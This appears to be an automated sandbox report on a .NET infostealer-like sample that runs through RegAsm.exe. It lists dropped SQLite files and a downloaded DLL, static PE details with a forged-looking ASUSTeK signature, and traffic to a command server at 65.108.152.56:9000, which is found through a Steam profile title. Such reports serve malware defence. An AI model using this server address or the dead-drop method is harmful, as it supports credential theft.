Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AEGIJKEHCAKF\GHJKEH

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AEGIJKEHCAKF\HDBKJE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AEGIJKEHCAKF\IEHJJE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AEGIJKEHCAKF\KFIJEG

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 69993 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	69993
Entropy (8bit):	7.99584879649948
Encrypted:	true
SSDEEP:	1536:iMveRG6BWC7T2g1wGUa5QUoaIB9ttiFJG+AOQOXl0Usvwr:feRG6BX6gUaHo9tkBHiUewr
MD5:	29F65BA8E88C063813CC50A4EA544E93
SHA1:	05A7040D5C127E68C25D81CC51271FFB8BEF3568
SHA-256:	1ED81FA8DFB6999A9FEDC6E779138FFD99568992E22D300ACD181A6D2C8DE184
SHA-512:	E29B2E92C496245BED3372578074407E8EF8882906CE10C35B3C8DEEBFEFE01B5FD7F3030ACAA693E175F4B7ACA6CD7D8D10AE1C731B09C5FA19035E005DE3AA
Malicious:	false
Preview:	MSCF....i.......,...................I.................oXAy .authroot.stl.Ez..Q6..CK..<Tk...p.k..1...3...[..%Y.f..."K.6)..[I.hOB."..rK.RQ..}f..f...}....9.\|.....gA...30.,O2L...0..%.U...U.t.....`dqM2.x..t...<(uad.c...x5V.x..t..agd.v......i...KD..q(. ...JJ......#..'=. ...3.x...}...+T.K..!.'.`w .!.x.r.......YafhG..O.3....'P[..'.D../....n..t....R<..=\E7L0?{..T.f...ID...,...r....3z..O/.b.Iwx.. .o...a\.s........."..'.......<;s.[...l...6.)ll..B.P.....k.... k0.".t!/.,........{...P8....B..0(.. .Q.....d...q,\.$.n.Q.\.p...R..:.hr./..8.S<a.s...+#3....D..h1.a.0....{.9.....:e.......n.~G.{.M.1..OU.....B.Q..y_>.P{...}i.=.a..QQT.U..\|!.pyCD@.....l..70..w..)...W^.`l...%Y.\................i..=hYV.O8W@P.=.r.=..1m..1....)\.p..\|.c.3..t..[...).....l.{.Y....\S.....y....[.mCt....Js;...H....Q..F.....g.O...[..A.=...F[..z....k...mo.lW{`....O...T.g.Y.Uh.;m.'.N..f..}4..9i..t4p_bI..`.....Ie..l.P.... ...Lg......[....5g...~D.s.h'>n.m.c.7...-..P.gG...i$...v.m.b[.yO.P/*.YH.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	330
Entropy (8bit):	3.217935332070547
Encrypted:	false
SSDEEP:	6:kKklEN+SkQlPlEGYRMY9z+4KlDA3RUeVlWI/Vt:MlbkPlE99SNxAhUeVLVt
MD5:	457C16EABAD85393C2438B34FEB507A6
SHA1:	0CE6ADD73AD8EE9C5AE93913F90C10F60B2E2F84
SHA-256:	DA40515D3E2FB4633893866C996982458B76FFDA1977689597DAED2146E26A71
SHA-512:	D9FA070DE00C0BDDE916FD8A902302CFC9BC09FFCC0BFAAC8CD967EA39A790DB8D85905176ECBC09E2F1DF19749D8FD9D113AE2D7F46DC3350B96FB1B3291389
Malicious:	false
Preview:	p...... ........ .9.....(....................................................... ........M.........(.....wl....i...h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".b.3.6.8.5.3.8.5.a.4.7.f.d.a.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\file.exe.log

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.0050635535766075
Encrypted:	false
SSDEEP:	3:QHXMKa/xwwUy:Q3La/xwQ
MD5:	84CFDB4B995B1DBF543B26B86C863ADC
SHA1:	D2F47764908BF30036CF8248B9FF5541E2711FA2
SHA-256:	D8988D672D6915B46946B28C06AD8066C50041F6152A91D37FFA5CF129CC146B
SHA-512:	485F0ED45E13F00A93762CBF15B4B8F996553BAA021152FAE5ABA051E3736BCD3CA8F4328F0E6D9E3E1F910C96C4A9AE055331123EE08E3C2CE3A99AC2E177CE
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\76561199680449169[1].htm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (3041), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	35663
Entropy (8bit):	5.3820204547725865
Encrypted:	false
SSDEEP:	768:c7pqLtWYmwt5D0gq9siNGAGPzzgiJmDzJtxvrfukPco1AUmPzzgiJmDzJtxvJ2Sq:c78LtWYmwt5D0gq9scGPzzgiJmDzJtx2
MD5:	ED01FF8187C1C331702AB5F6E5E1631B
SHA1:	B982DE4E0762387C0FFFCFAC84B86FAE16EA52C1
SHA-256:	CB3DC06E3EBE65FC84FB78704A23A69B5961B6F62D72CAD01B2AECD4774763BE
SHA-512:	3CCFEF284D9A104BCC00BDE50CAC1DE5578281BFF2F8DA1872AC722E128C5814CD4B77438BB80577E825BE077A8426FB2629995D905C5D03847E56D0ECC01C59
Malicious:	false
Preview:	<!DOCTYPE html>..<html class=" responsive" lang="en">..<head>...<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.....<meta name="viewport" content="width=device-width,initial-scale=1">....<meta name="theme-color" content="#171a21">....<title>Steam Community :: p__o https://65.108.152.56:9000\|</title>...<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon">...........<link href="https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.css?v=GfSjbGKcNYaQ&l=english&_cdn=cloudflare" rel="stylesheet" type="text/css" >.<link href="https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=tuNiaSwXwcYT&l=english&_cdn=cloudflare" rel="stylesheet" type="text/css" >.<link href="https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=2VoZa2M8Wh3k&l=english&_cdn=cloudflare" rel="stylesheet" type="text/css" >.<link href="https://community.cloudflare.steamstatic.com/public/css/global

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sqlx[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2459136
Entropy (8bit):	6.052474106868353
Encrypted:	false
SSDEEP:	49152:WHoJ9zGioiMjW2RrL9B8SSpiCH7cuez9A:WHoJBGqabRnj8JY/9
MD5:	90E744829865D57082A7F452EDC90DE5
SHA1:	833B178775F39675FA4E55EAB1032353514E1052
SHA-256:	036A57102385D7F0D7B2DEACF932C1C372AE30D924365B7A88F8A26657DD7550
SHA-512:	0A2D112FF7CB806A74F5EC17FE097D28107BB497D6ED5AD28EA47E6795434BA903CDB49AAF97A9A99C08CD0411F1969CAD93031246DC107C26606A898E570323
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 1%, Browse
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: tZvjMg3Hw9.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: WlCIinu0yp.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 0dN59ZIkEM.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........7.Z.Y.Z.Y.Z.Y...Z.n.Y...\..Y...]...Y...X.Y.Y.Z.X..Y.O.\.E.Y.O.].U.Y.O.Z.L.Y.l3].[.Y.l3Y.[.Y.l3..[.Y.l3[.[.Y.RichZ.Y.................PE..L...i.`e...........!...%.. .........{D........ ...............................%...........@...........................#..6....$.(.....$.......................$.....`.#.8...........................x.#.@.............$..............................text...G. ....... ................. ..`.rdata...".... ..$.... .............@..@.data...4\|... $..b....#.............@....idata........$......^$.............@..@.00cfg........$......p$.............@..@.rsrc.........$......r$.............@..@.reloc..5.....$.......$.............@..B................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.414407050048219
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	358'000 bytes
MD5:	b9773393891d9cc471cd58cac09052dd
SHA1:	784a14954c7abca7d7e2e92c60b93557238426f4
SHA256:	0a8357cb9a1d348d1c4b4ec101f2328fd43f976803bcc360525ced55fbb9aeaf
SHA512:	72a669e736ecfc5422a07542e15cad7d82b9ae41591f4c375e31fa4dc2d70f620b44ff19b5b6d0928aac3cf244a3143af433d47eeaa3c5c6b9968cf71d1e6848
SSDEEP:	6144:Dqv0Ib3JJzx1MfjF+N33l3+YBVYjZ7eZH9PJWweK/ojy8Kkc2ivFt+0P:Gb3TEbF+13NPYd6B9lcdFBsPP
TLSH:	B1749FD48267CF37D3ED0778F095120593FD820B8893FB4A6A2416A1590A3E2F7566FB
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...o.8f.................F...........d... ........@.. ....................................`................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x4564de
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x6638D46F [Mon May 6 13:00:31 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert EV Code Signing CA (SHA2), OU=www.digicert.com, O=DigiCert Inc, C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	08/10/2020 01:00:00 12/10/2023 13:00:00
Subject Chain	CN=ASUSTeK COMPUTER INC., O=ASUSTeK COMPUTER INC., L=Beitou District, S=Taipei City, C=TW, SERIALNUMBER=23638777, OID.2.5.4.15=Private Organization, OID.1.3.6.1.4.1.311.60.2.1.3=TW
Version:	3
Thumbprint MD5:	332CDC164B1324C3FF3F64E228C5FFFC
Thumbprint SHA-1:	CBFB3D25134A5FF6FCF2924D5B4BE16194EA7E13
Thumbprint SHA-256:	531855F05B9D55E4F6DDEBC443706382DDB9ACBD2B8AB24004822BE204420943
Serial:	0C9838F673F9B1CCE395CFAB2B6684E4

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x56490	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x58000	0x53c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x55000	0x2670
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5a000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x56447	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x544e4	0x54600	cd200369f3723ebffd9769e4598cb5e7	False	0.7394241898148148	data	7.421157543801175	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x58000	0x53c	0x600	b3903f7a2f10b94867e427ae266651a6	False	0.390625	data	3.9246143706878946	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x5a000	0xc	0x200	fb9aeb40bfad98519cace1adb7b9f6da	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x580a0	0x2b0	data			0.4375
RT_MANIFEST	0x58350	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5469387755102041

Imports

DLL	Import
mscoree.dll	_CorExeMain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 7, 2024 05:28:54.186081886 CEST	49731	443	192.168.2.4	104.105.90.131
May 7, 2024 05:28:54.186120033 CEST	443	49731	104.105.90.131	192.168.2.4
May 7, 2024 05:28:54.186193943 CEST	49731	443	192.168.2.4	104.105.90.131
May 7, 2024 05:28:54.192341089 CEST	49731	443	192.168.2.4	104.105.90.131
May 7, 2024 05:28:54.192354918 CEST	443	49731	104.105.90.131	192.168.2.4
May 7, 2024 05:28:54.373563051 CEST	443	49731	104.105.90.131	192.168.2.4
May 7, 2024 05:28:54.373641014 CEST	49731	443	192.168.2.4	104.105.90.131
May 7, 2024 05:28:54.444263935 CEST	49731	443	192.168.2.4	104.105.90.131
May 7, 2024 05:28:54.444284916 CEST	443	49731	104.105.90.131	192.168.2.4
May 7, 2024 05:28:54.444617987 CEST	443	49731	104.105.90.131	192.168.2.4
May 7, 2024 05:28:54.444678068 CEST	49731	443	192.168.2.4	104.105.90.131
May 7, 2024 05:28:54.447978020 CEST	49731	443	192.168.2.4	104.105.90.131
May 7, 2024 05:28:54.488120079 CEST	443	49731	104.105.90.131	192.168.2.4
May 7, 2024 05:28:54.825839996 CEST	443	49731	104.105.90.131	192.168.2.4
May 7, 2024 05:28:54.825865030 CEST	443	49731	104.105.90.131	192.168.2.4
May 7, 2024 05:28:54.825894117 CEST	443	49731	104.105.90.131	192.168.2.4
May 7, 2024 05:28:54.825948954 CEST	49731	443	192.168.2.4	104.105.90.131
May 7, 2024 05:28:54.825969934 CEST	443	49731	104.105.90.131	192.168.2.4
May 7, 2024 05:28:54.825989008 CEST	49731	443	192.168.2.4	104.105.90.131
May 7, 2024 05:28:54.826020956 CEST	49731	443	192.168.2.4	104.105.90.131
May 7, 2024 05:28:54.911032915 CEST	443	49731	104.105.90.131	192.168.2.4
May 7, 2024 05:28:54.911071062 CEST	443	49731	104.105.90.131	192.168.2.4
May 7, 2024 05:28:54.911122084 CEST	49731	443	192.168.2.4	104.105.90.131
May 7, 2024 05:28:54.911129951 CEST	443	49731	104.105.90.131	192.168.2.4
May 7, 2024 05:28:54.911159992 CEST	49731	443	192.168.2.4	104.105.90.131
May 7, 2024 05:28:54.911175013 CEST	49731	443	192.168.2.4	104.105.90.131
May 7, 2024 05:28:54.929805040 CEST	443	49731	104.105.90.131	192.168.2.4
May 7, 2024 05:28:54.929846048 CEST	443	49731	104.105.90.131	192.168.2.4
May 7, 2024 05:28:54.929867983 CEST	443	49731	104.105.90.131	192.168.2.4
May 7, 2024 05:28:54.929883003 CEST	49731	443	192.168.2.4	104.105.90.131
May 7, 2024 05:28:54.929925919 CEST	49731	443	192.168.2.4	104.105.90.131
May 7, 2024 05:28:54.930380106 CEST	49731	443	192.168.2.4	104.105.90.131
May 7, 2024 05:28:54.930394888 CEST	443	49731	104.105.90.131	192.168.2.4
May 7, 2024 05:28:54.940658092 CEST	49732	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:28:55.124442101 CEST	9000	49732	65.108.152.56	192.168.2.4
May 7, 2024 05:28:55.124541044 CEST	49732	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:28:55.124906063 CEST	49732	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:28:55.308558941 CEST	9000	49732	65.108.152.56	192.168.2.4
May 7, 2024 05:28:55.335064888 CEST	9000	49732	65.108.152.56	192.168.2.4
May 7, 2024 05:28:55.335078001 CEST	9000	49732	65.108.152.56	192.168.2.4
May 7, 2024 05:28:55.335280895 CEST	49732	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:28:55.904119015 CEST	49732	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:28:56.088542938 CEST	9000	49732	65.108.152.56	192.168.2.4
May 7, 2024 05:28:56.088629007 CEST	49732	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:28:56.088963985 CEST	49732	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:28:56.314002037 CEST	9000	49732	65.108.152.56	192.168.2.4
May 7, 2024 05:28:56.604398012 CEST	9000	49732	65.108.152.56	192.168.2.4
May 7, 2024 05:28:56.604489088 CEST	49732	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:28:56.607820034 CEST	49734	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:28:56.791517973 CEST	9000	49734	65.108.152.56	192.168.2.4
May 7, 2024 05:28:56.791601896 CEST	49734	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:28:56.791857958 CEST	49734	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:28:56.975559950 CEST	9000	49734	65.108.152.56	192.168.2.4
May 7, 2024 05:28:56.975790024 CEST	9000	49734	65.108.152.56	192.168.2.4
May 7, 2024 05:28:56.975832939 CEST	49734	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:28:56.976175070 CEST	49734	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:28:56.977679014 CEST	49734	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:28:57.161231041 CEST	9000	49734	65.108.152.56	192.168.2.4
May 7, 2024 05:28:57.567095041 CEST	9000	49734	65.108.152.56	192.168.2.4
May 7, 2024 05:28:57.567166090 CEST	49734	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:28:57.568280935 CEST	49732	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:28:57.568749905 CEST	49735	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:28:57.752975941 CEST	9000	49732	65.108.152.56	192.168.2.4
May 7, 2024 05:28:57.753046989 CEST	49732	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:28:57.755163908 CEST	9000	49735	65.108.152.56	192.168.2.4
May 7, 2024 05:28:57.755229950 CEST	49735	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:28:57.755485058 CEST	49735	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:28:57.940929890 CEST	9000	49735	65.108.152.56	192.168.2.4
May 7, 2024 05:28:57.941137075 CEST	9000	49735	65.108.152.56	192.168.2.4
May 7, 2024 05:28:57.941189051 CEST	49735	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:28:57.943748951 CEST	49735	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:28:57.945174932 CEST	49735	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:28:58.130691051 CEST	9000	49735	65.108.152.56	192.168.2.4
May 7, 2024 05:28:58.491302967 CEST	9000	49735	65.108.152.56	192.168.2.4
May 7, 2024 05:28:58.491322041 CEST	9000	49735	65.108.152.56	192.168.2.4
May 7, 2024 05:28:58.491475105 CEST	49735	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:28:58.492830992 CEST	49734	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:28:58.493206978 CEST	49736	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:28:58.681381941 CEST	9000	49734	65.108.152.56	192.168.2.4
May 7, 2024 05:28:58.681405067 CEST	9000	49736	65.108.152.56	192.168.2.4
May 7, 2024 05:28:58.681457043 CEST	49734	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:28:58.681514978 CEST	49736	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:28:58.681926966 CEST	49736	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:28:58.865605116 CEST	9000	49736	65.108.152.56	192.168.2.4
May 7, 2024 05:28:58.865900040 CEST	9000	49736	65.108.152.56	192.168.2.4
May 7, 2024 05:28:58.865962982 CEST	49736	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:28:58.866276026 CEST	49736	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:28:58.867717028 CEST	49736	9000	192.168.2.4	65.108.152.56
